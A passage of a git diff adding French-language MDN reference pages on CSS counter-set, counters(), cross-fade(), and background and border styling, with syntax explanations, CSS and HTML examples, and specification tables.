+<pre class="brush:css no-line-numbers">/* Définir "mon-compteur" avec la valeur 0 */
+counter-set: mon-compteur;
+
+/* Définir "mon-compteur" avec la valeur -1 */
+counter-set: mon-compteur -1;
+
+/* Définir "compteur1" avec 1 et "compteur2" à 4 */
+counter-set: compteur1 1 compteur2 4;
+
+/* Réinitialiser les compteurs qui auraient été */
+/* définis avec des règles moins spécifiques */
+counter-set: none;
+
+/* Valeurs globales */
+counter-set: inherit;
+counter-set: initial;
+counter-set: unset;
+</pre>
+
+<p>La propriété <code>counter-set</code> est définit avec l'une de ces deux valeurs :</p>
+
+<ul>
+ <li>Une valeur de type <code>&lt;custom-ident&gt;</code> qui fournit le nom du compteur, éventuellement suivie d'un entier (<code>&lt;integer&gt;</code>). Il est possible de définir plusieurs compteurs à réinitialiser en séparant les valeurs grâce à un espace.</li>
+ <li>Le mot-clé <code>none</code>.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("custom-ident", "&lt;custom-ident&gt;")}}</dt>
+ <dd>Le nom du compteur à définir ou à modifier.</dd>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>La valeur à utiliser pour le compteur à chaque occurrence de l'élément. Par cette valeur sera <code>0</code>. S'il n'existe pas déjà de compteur avec le nom courant pour l'élément, l'élément créera un nouveau compteur avec ce nom et utilisera alors cette valeur.</dd>
+ <dt><code>none</code></dt>
+ <dd>Aucune définition ou modification de compteur ne doit être appliquée. Cette valeur peut être utilisée afin de surcharger une déclaration <code>counter-set</code> d'une règle moins spécifique.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">h1 {
+  counter-set: chapitre section 1 page;
+  /* Les compteurs "chapitre" et "page" sont
+     définis à 0, et le compteur "section"
+     est défini à 1. */
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#counter-set', 'counter-set')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.counter-set")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS">Utiliser les compteurs CSS</a></li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("@counter-style")}}</li>
+ <li>Les fonctions {{cssxref("counter")}} et {{cssxref("counters")}}</li>
+ <li>{{cssxref("content")}}</li>
+</ul>
diff --git a/files/fr/web/css/counters()/index.html b/files/fr/web/css/counters()/index.html
new file mode 100644
index 0000000000..9c58ab42a0
--- /dev/null
+++ b/files/fr/web/css/counters()/index.html
@@ -0,0 +1,189 @@
+---
+title: counters()
+slug: Web/CSS/counters()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/counters()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>counters()</strong></code> permet d'obtenir des compteurs imbriqués en renvoyant la concaténation des chaînes de caractères des valeurs des compteurs passés en arguments. La fonction <code>counters()</code> peut s'utiliser sous deux formes :</p>
+
+<ul>
+ <li><code>counters(<var>name</var>, <var>string</var>)</code></li>
+ <li><code>counters(<var>name</var>, <var>string</var>, <var>style</var>)</code></li>
+</ul>
+
+<p>Cette fonction est généralement utilisée sur des <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-éléments</a> mais peut théoriquement être utilisée à tout endroit où une valeur <code><a href="/fr/docs/Web/CSS/string">&lt;string&gt;</a></code> est attendue. Le texte généré est la concaténation des compteurs en commençant par les compteurs « parents » puis en ajoutant la valeurs des compteurs « fils ». Les compteurs sont affichés avec le style indiqué (par défaut, ce sera <code>decimal</code>).</p>
+
+<pre class="notranslate">/* Utilisation simple - style decimal par défaut */
+counters(countername, '-');
+
+/* Changement du style d'affichage */
+counters(countername, '.', upper-roman)</pre>
+
+<p>Un compteur n'est pas visible en tant que tel. Les fonctions <code>counters()</code> et <code><a href="/fr/docs/Web/CSS/counter_function">counter()</a></code> doivent être utilisées pour créer du contenu.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Bien que la fonction <code>counters()</code> puisse être utilisée avec n'importe quelle propriété CSS, la prise en charge des propriétés autres que {{CSSxRef("content")}} reste experimentale.</p>
+
+<p>Avant d'utiliser cette fonctionnalité en production, référez vous au tableau de compatibilité ci-après.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;custom-ident&gt;")}}</dt>
+ <dd>Un nom identifiant les compteurs à utiliser. C'est le même nom qui pourra être utilisé avec les propriétés {{cssxref("counter-reset")}} et {{cssxref("counter-increment")}}. Le nom ne peut pas commencer par deux tirets et ne peut pas être <code>none</code>, <code>unset</code>, <code>initial</code> ou <code>inherit</code>.</dd>
+ <dt><code style="white-space: nowrap;">&lt;counter-style&gt;</code></dt>
+ <dd>Un style de compteur (cf. <a href="/fr/docs/Web/CSS/list-style-type#Valeurs">les valeurs décrites pour <code>list-style-type</code></a>) ou une fonction <code><a href="/fr/docs/Web/CSS/symbols">symbols()</a></code>. En absence de valeur, le style utilisé sera <code>decimal</code>.</dd>
+ <dt>{{cssxref("&lt;string&gt;")}}</dt>
+ <dd>Une suite de caractères. Les caractères qui ne sont pas latins doivent être encodés avec leur séquence d'échappement Unicode. <code>\000A9</code> représentera par exemple le symbole copyright (©).</dd>
+ <dt><code>none</code></dt>
+ <dd>Représente la chaîne vide.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Style_par_défaut_et_chiffres_romains">Style par défaut et chiffres romains</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;ol&gt;
+  &lt;li&gt;
+     &lt;ol&gt;
+        &lt;li&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;/li&gt;
+      &lt;/ol&gt;
+  &lt;/li&gt;
+  &lt;li&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;/li&gt;
+  &lt;li&gt;
+     &lt;ol&gt;
+        &lt;li&gt;&lt;/li&gt;
+        &lt;li&gt;
+           &lt;ol&gt;
+              &lt;li&gt;&lt;/li&gt;
+              &lt;li&gt;&lt;/li&gt;
+              &lt;li&gt;&lt;/li&gt;
+           &lt;/ol&gt;
+        &lt;/li&gt;
+      &lt;/ol&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[2] notranslate">ol {
+  counter-reset: listCounter;
+}
+li {
+  counter-increment: listCounter;
+}
+li::marker {
+   content:  counters(listCounter, '.', upper-roman) ') ';
+}
+li::before {
+  content:  counters(listCounter, ".") " == " counters(listCounter, ".", lower-roman) ;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Style_par_défaut_et_chiffres_romains", "100%", 150)}}</p>
+
+<h3 id="Numérotation_décimale_avec_zéro_et_indices_alphabétiques"><dfn>Numérotation décimale (avec zéro) et indices alphabétiques</dfn></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;ol&gt;
+  &lt;li&gt;
+     &lt;ol&gt;
+        &lt;li&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;/li&gt;
+      &lt;/ol&gt;
+  &lt;/li&gt;
+  &lt;li&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;/li&gt;
+  &lt;li&gt;
+     &lt;ol&gt;
+        &lt;li&gt;&lt;/li&gt;
+        &lt;li&gt;
+           &lt;ol&gt;
+              &lt;li&gt;&lt;/li&gt;
+              &lt;li&gt;&lt;/li&gt;
+              &lt;li&gt;&lt;/li&gt;
+           &lt;/ol&gt;
+        &lt;/li&gt;
+      &lt;/ol&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; highlight[2] notranslate">ol {
+  counter-reset: count;
+}
+li {
+  counter-increment: count;
+}
+li::marker {
+   content: counters(count, '.', upper-alpha) ') ';
+}
+li::before {
+  content: counters(count, ".", <dfn>decimal-leading-zero</dfn>) " == " counters(count, ".", lower-alpha);
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Numérotation_décimale_(avec_zéro)_et_indices_alphabétiques", "100%", 150)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Lists", "#counter-functions", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS3 Lists")}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "generate.html#counter-styles", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.counters")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS">Utiliser les compteurs CSS</a></li>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("@counter-style")}}</li>
+ <li>La fonction CSS <code><a href="/fr/docs/Web/CSS/counter_function">counter()</a></code></li>
+ <li>{{cssxref("::marker")}}</li>
+</ul>
diff --git a/files/fr/web/css/cross-fade()/index.html b/files/fr/web/css/cross-fade()/index.html
new file mode 100644
index 0000000000..0c995b6816
--- /dev/null
+++ b/files/fr/web/css/cross-fade()/index.html
@@ -0,0 +1,166 @@
+---
+title: cross-fade()
+slug: Web/CSS/cross-fade()
+tags:
+  - CSS
+  - Experimental
+  - Fonction
+  - Reference
+translation_of: Web/CSS/cross-fade()
+---
+<div>{{draft}}{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>cross-fade()</code></strong> peut être utilisée afin de fusionner deux ou plusieurs images avec une transparence donnée. On peut l'utiliser pour de nombreuses manipulations d'image : teinter une image avec une couleur donnée ou mettre en avant une zone de l'image en combinant celle-ci avec un dégradé radial.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> À l'heure actuelle (janvier 2019), la syntaxe décrite par la spécification et les syntaxes implémentées sont différentes. Nous commencerons ici par définir la syntaxe telle que définie par la spécification puis celle utilisée au sein des implémentations actuelles.</p>
+</div>
+
+<h2 id="Syntaxe_spécification"><a id="Syntaxe" name="Syntaxe">Syntaxe (spécification)</a></h2>
+
+<p>La fonction <code>cross-fade()</code> prend comme argument une liste d'images accompagnée d'un pourcentage qui définit la proportion de chaque image dans le « mélange » obtenu. La valeur en pourcentage ne doit pas être entourée de quotes, doit contenir le symbole « % » et être comprise entre 0% et 100%.</p>
+
+<p>Cette fonction pourra être utilisée à tout endroit où une image (cf. {{cssxref("&lt;image&gt;")}}) CSS peut être utilisée.</p>
+
+<h3 id="Utilisation_des_pourcentages">Utilisation des pourcentages</h3>
+
+<p>Le pourcentage utilisé pour chaque image peut être considéré comme une valeur d'opacité. Un coefficient à 0% indiquera que l'image sera complètement transparente pour le mélange final tandis qu'un coefficient à 100% rendra l'image complètement opaque. Si un des pourcentages est absent, l'ensemble des pourcentages exprimés est sommé et la différence avec 100% est répartie également entre toutes les images qui n'ont pas de coefficient.</p>
+
+<pre class="brush: css notranslate">cross-fade(url(white.png)   0%, url(black.png) 100%); /* complètement noire */
+cross-fade(url(white.png)  25%, url(black.png)  75%); /* 25% blanche, 75% noire*/
+cross-fade(url(white.png)  50%, url(black.png)  50%); /* 50% blanche, 50% noire */
+cross-fade(url(white.png)  75%, url(black.png)  25%); /* 75% blanche, 25% noire */
+cross-fade(url(white.png) 100%, url(black.png)   0%); /* complètement blanche */
+cross-fade(url(green.png)  75%, url(red.png)    75%); /* image avec du rouge et vert à 75% */
+</pre>
+
+<p>Dans le cas le plus simple, seules deux images sont fusionnées. Dans ce cas, seul un coefficient est nécessaire (la seconde image recevra dans tous les cas le complément à 100% du premier coefficient). Ainsi, si on utilise 0% pour la première image, le mélange résultant correspondra à la deuxième image. Inversement, un coefficient de 100% pour la première image masquera complètement la seconde. Utiliser 50% permettra d'obtenir un mélange à proportions égales. Un coefficient de 75% montrera la première image à 75% et la seconde à 25%.</p>
+
+<p>Les lignes précédentes peuvent ainsi s'écrire également :</p>
+
+<pre class="brush: css notranslate">cross-fade(url(white.png)   0%, url(black.png)); /* complètement noire */
+cross-fade(url(white.png)  25%, url(black.png)); /* 25% blanche, 75% noire*/
+cross-fade(url(white.png), url(black.png)); /* 50% blanche, 50% noire */
+cross-fade(url(white.png)  75%, url(black.png)); /* 75% blanche, 25% noire */
+cross-fade(url(white.png) 100%, url(black.png)); /* complètement blanche */
+cross-fade(url(green.png)  75%, url(red.png) 75%); /* image avec du rouge et vert à 75% */
+</pre>
+
+<p>Si aucun pourcentage n'est indiqué, toutes les images contribuent également (si on a deux images, chacune contribuera à 50%).</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<div class="hidden">La syntaxe formelle décrite sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à proposer une<em>pull request</em> sur <a href="https://github.com/mdn/data">https://github.com/mdn/data</a>.</div>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<ul>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4-6] notranslate">#div {
+    width: 300px;
+    height: 300px;
+    background-image: cross-fade(
+        75% url('https://mdn.mozillademos.org/files/8543/br.png'),
+        url('https://mdn.mozillademos.org/files/8545/tr.png'));
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "330", "330")}}</p>
+
+<h2 id="Ancienne_syntaxe_implémentations">Ancienne syntaxe (implémentations)</h2>
+
+<pre class="syntaxbox notranslate">cross-fade( &lt;image, &lt;image&gt;, &lt;percentage&gt; )</pre>
+
+<p>La spécification de la fonction <code>cross-fade()</code> permet d'avoir plusieurs images et d'associer un coefficient de transparence à chacune des images. Ce n'a pas toujours été le cas et <a href="#Syntaxe">la syntaxe originale</a>, implémentée par certains navigateurs, ne permet d'avoir que deux images pour lesquelles la somme des coefficients doit être 100%. Cette syntaxe est prise en charge par Safari et préfixée avec <code>-webkit-</code> pour Chrome, Opera et les autres navigateurs basés sur Blink.</p>
+
+<pre class="brush: css notranslate">cross-fade(url(white.png), url(black.png), 0%);   /* complètement noire */
+cross-fade(url(white.png), url(black.png), 25%);  /* 25% blanche, 75% noire */
+cross-fade(url(white.png), url(black.png), 50%);  /* 50% blanche, 50% noire */
+cross-fade(url(white.png), url(black.png), 75%);  /* 75% blanche, 25% noire */
+cross-fade(url(white.png), url(black.png), 100%); /* complètement blanche */
+</pre>
+
+<p>Pour cette syntaxe, les deux images sont déclarées en premières et séparées par une virgule puis arrive le coefficient. Si la virgule ou si le caractère pourcent est absent, la propriété est considérée invalide. Le coefficient utilisé dans la syntaxe est attribué à la première image. La deuxième image utilisera donc un coefficient implicite qui est le complément à 100 du premier complément.</p>
+
+<p>Dans les exemples associés à la syntaxe de la spécification, on avait un cas où la somme des coefficients valait 150% : ce cas ne serait pas possible avec la syntaxe implémentée actuellement. De même, on ne peut pas mélanger trois images (ou plus) avec cette syntaxe.</p>
+
+<h3 id="Exemples_2">Exemples</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; highlight[4-11] notranslate">.crossfade {
+    width: 300px;
+    height: 300px;
+    background-image: -webkit-cross-fade(
+        url('https://mdn.mozillademos.org/files/8543/br.png'),
+        url('https://mdn.mozillademos.org/files/8545/tr.png'),
+        75%);
+    background-image: cross-fade(
+        url('https://mdn.mozillademos.org/files/8543/br.png'),
+        url('https://mdn.mozillademos.org/files/8545/tr.png'),
+        75%);
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="crossfade"&gt;&lt;/div&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Ancienne_syntaxe_(implémentations)", "330", "330")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les outils d'assistance ne peuvent pas analyser les images d'arrière-plan. Si l'image contient des informations essentielles à la compréhension du document, mieux vaudra la décrire de façon sémantique dans le document afin que ce dernier soit correctement accessible. Lorsqu'on utilisera des images d'arrière-plan, on s'assurera que le contraste est suffisamment élevé par rapport au texte qui serait affiché par dessus.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendre les règles WCAG 1.1.</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Comprendre les critères de succès 1.1.1  pour WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#cross-fade-function', 'cross-fade()')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("css.types.image.cross-fade")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("image")}}</li>
+ <li>{{cssxref("url")}}</li>
+ <li>{{cssxref("_image", "image()")}}</li>
+ <li>{{cssxref("image-set")}}</li>
+ <li>{{cssxref("element")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS" title="Using gradients">Utiliser les dégradés CSS</a></li>
+ <li>Fonctions de création de dégradés : {{cssxref("linear-gradient", "linear-gradient()")}}, {{cssxref("radial-gradient", "radial-gradient()")}}, {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}, {{cssxref("conic-gradient", "conic-gradient()")}},</li>
+</ul>
diff --git a/files/fr/web/css/css_backgrounds_and_borders/index.html b/files/fr/web/css/css_backgrounds_and_borders/index.html
new file mode 100644
index 0000000000..3180021066
--- /dev/null
+++ b/files/fr/web/css/css_backgrounds_and_borders/index.html
@@ -0,0 +1,117 @@
+---
+title: CSS Backgrounds and Borders
+slug: Web/CSS/CSS_Backgrounds_and_Borders
+tags:
+  - Aperçu
+  - CSS
+  - CSS Backgrounds and Borders
+  - Reference
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Backgrounds and Borders</strong></em> est un module CSS qui permet de mettre en forme les bordures et arrière-plans des éléments. Les arrière-plans peuvent être dessinés avec une couleur ou une image, rognés, redimensionnés voire modifiés. Les bordures peuvent être décorées avec des lignes, des images, former des angles droits ou des angles courbes. Il est également possible de décorer les boîtes des éléments avec des ombres.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-position-x")}}</li>
+ <li>{{cssxref("background-position-y")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-image")}}</li>
+ <li>{{cssxref("border-image-outset")}}</li>
+ <li>{{cssxref("border-image-repeat")}}</li>
+ <li>{{cssxref("border-image-slice")}}</li>
+ <li>{{cssxref("border-image-source")}}</li>
+ <li>{{cssxref("border-image-width")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">Manipuler plusieurs arrière-plans</a></dt>
+ <dd>Dans cet article, on voit comment paramétrer un ou plusieurs arrière-plans pour un élément.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images">Mettre à l'échelle les images utilisées pour un arrière-plan</a></dt>
+ <dd>Dans cet article, on voit comment modifier la taille et paramétrer la répétition d'une image d'arrière-plan.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML grâce à CSS</a></dt>
+ <dd>Dans cet article, on voit comment utiliser CSS pour ajouter de la couleur sur des éléments HTML, y compris sur les bordures.</dd>
+</dl>
+
+<h2 id="Outils">Outils</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-image">Générateur pour <code>border-image</code></a></dt>
+ <dd>Un outil interactif pour créer visuellement des images de bordure (cf. la propriété {{cssxref("border-image")}}).</dd>
+ <dt><a href="/fr/docs/Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-radius">Générateur pour <code>border-radius</code></a></dt>
+ <dd>Un outil interactif pour créer visuellement des angles arrondies (cf. la propriété {{cssxref("border-radius")}}).</dd>
+ <dt><a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS/Générateur_box-shadow">Générateur pour <code>box-shadow</code></a></dt>
+ <dd>Un outil interactif pour créer visuellement des ombres derrière les éléments (cf. la propriété {{cssxref("box-shadow")}}).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_backgrounds_and_borders/scaling_background_images/index.html b/files/fr/web/css/css_backgrounds_and_borders/scaling_background_images/index.html
new file mode 100644
index 0000000000..f9cce126c9
--- /dev/null
+++ b/files/fr/web/css/css_backgrounds_and_borders/scaling_background_images/index.html
@@ -0,0 +1,117 @@
+---
+title: Mettre à l'échelle des images en arrière-plan
+slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+  - Reference
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS {{cssxref("background-size")}} permet d'ajuster la taille des images utilisées en arrière-plan et de remplacer le comportement par défaut qui consiste à créer un carrelage de l'image à sa pleine grandeur. Il est ainsi possible d'agrandir ou de rapetisser l'image.</p>
+
+<h2 id="Carreler_une_image_de_grande_taille">Carreler une image de grande taille</h2>
+
+<p>Prenons une image de grande taille (par exemple l'ancien logo de Firefox en 2485x2340px). On souhaite la carreler en quatre copies de 300x300 px, comme dans l'image suivante.</p>
+
+<p><img alt="" src="https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png" style="height: 636px; width: 636px;"></p>
+
+<p>On peut utiliser la feuille de style CSS suivante pour obtenir l'effet voulu :</p>
+
+<pre class="brush: css;  highlight:[8]">.square {
+  width: 300px;
+  height: 300px;
+  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
+  border: solid 2px;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+  background-size: 150px;
+}
+</pre>
+
+<p>On notera que, dans l'exemple précédent, une seule valeur avait été précisée pour {{cssxref("background-size")}} : 150 px. Dans ce cas, cette valeur est utilisée pour la largeur et la hauteur est alors fixée à <code>auto</code>.</p>
+
+<h2 id="Étirer_une_image">Étirer une image</h2>
+
+<p>Il est aussi possible de spécifier, respectivement, la largeur et la hauteur de l'image, comme dans l'exemple suivant, où la taille de l'image est imposée à 300x150 px.</p>
+
+<pre class="brush:css">background-size: 300px 150px;
+</pre>
+
+<p>L'image suivante montre le résultat obtenu.</p>
+
+<p><img alt="Logo de Firefox étité" src="https://mdn.mozillademos.org/files/16630/s.codepen.io_Richienb_debug_LoNxGp_PNkvYGvgGyXA.png" style="height: 636px; width: 636px;"></p>
+
+<h2 id="Agrandir_une_image">Agrandir une image</h2>
+
+<p>On peut agrandir une image en arrière-plan. À l'image suivante, une favicône de 32x32 px est agrandie à 300x300 px.</p>
+
+<p><img alt="Logo MDN à l'échelle" src="https://mdn.mozillademos.org/files/16631/favicon57.de33179910ae.1.1.png" style="height: 636px; width: 636px;"></p>
+
+<pre class="brush: css; highlight:[5]">.square2 {
+  width: 300px;
+  height: 300px;
+  background-image: url(favicon.png);
+  background-size: 300px;
+  border: solid 2px;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+}
+</pre>
+
+<p>On remarque que la feuille de style utilisée est identique à la précédente, sauf en ce qui concerne le nom de l'image.</p>
+
+<h2 id="Valeurs_spéciales_contain_et_cover">Valeurs spéciales : <code>contain</code> et <code>cover</code></h2>
+
+<p>En plus de {{cssxref("&lt;length&gt;")}}, la propriété CSS {{cssxref("background-size")}} permet d'employer deux autres valeurs : <code>contain</code> et <code>cover</code>. </p>
+
+<h3 id="contain"><code>contain</code></h3>
+
+<p>La valeur <code>contain</code> spécifie les dimensions de l'image d'arrière-plan de manière à ce que sa largeur et sa hauteur soient aussi grandes que possible, tout en conservant l'image à l'intérieur de son élément conteneur. Ainsi, l'image ne peut déborder de son élément conteneur.</p>
+
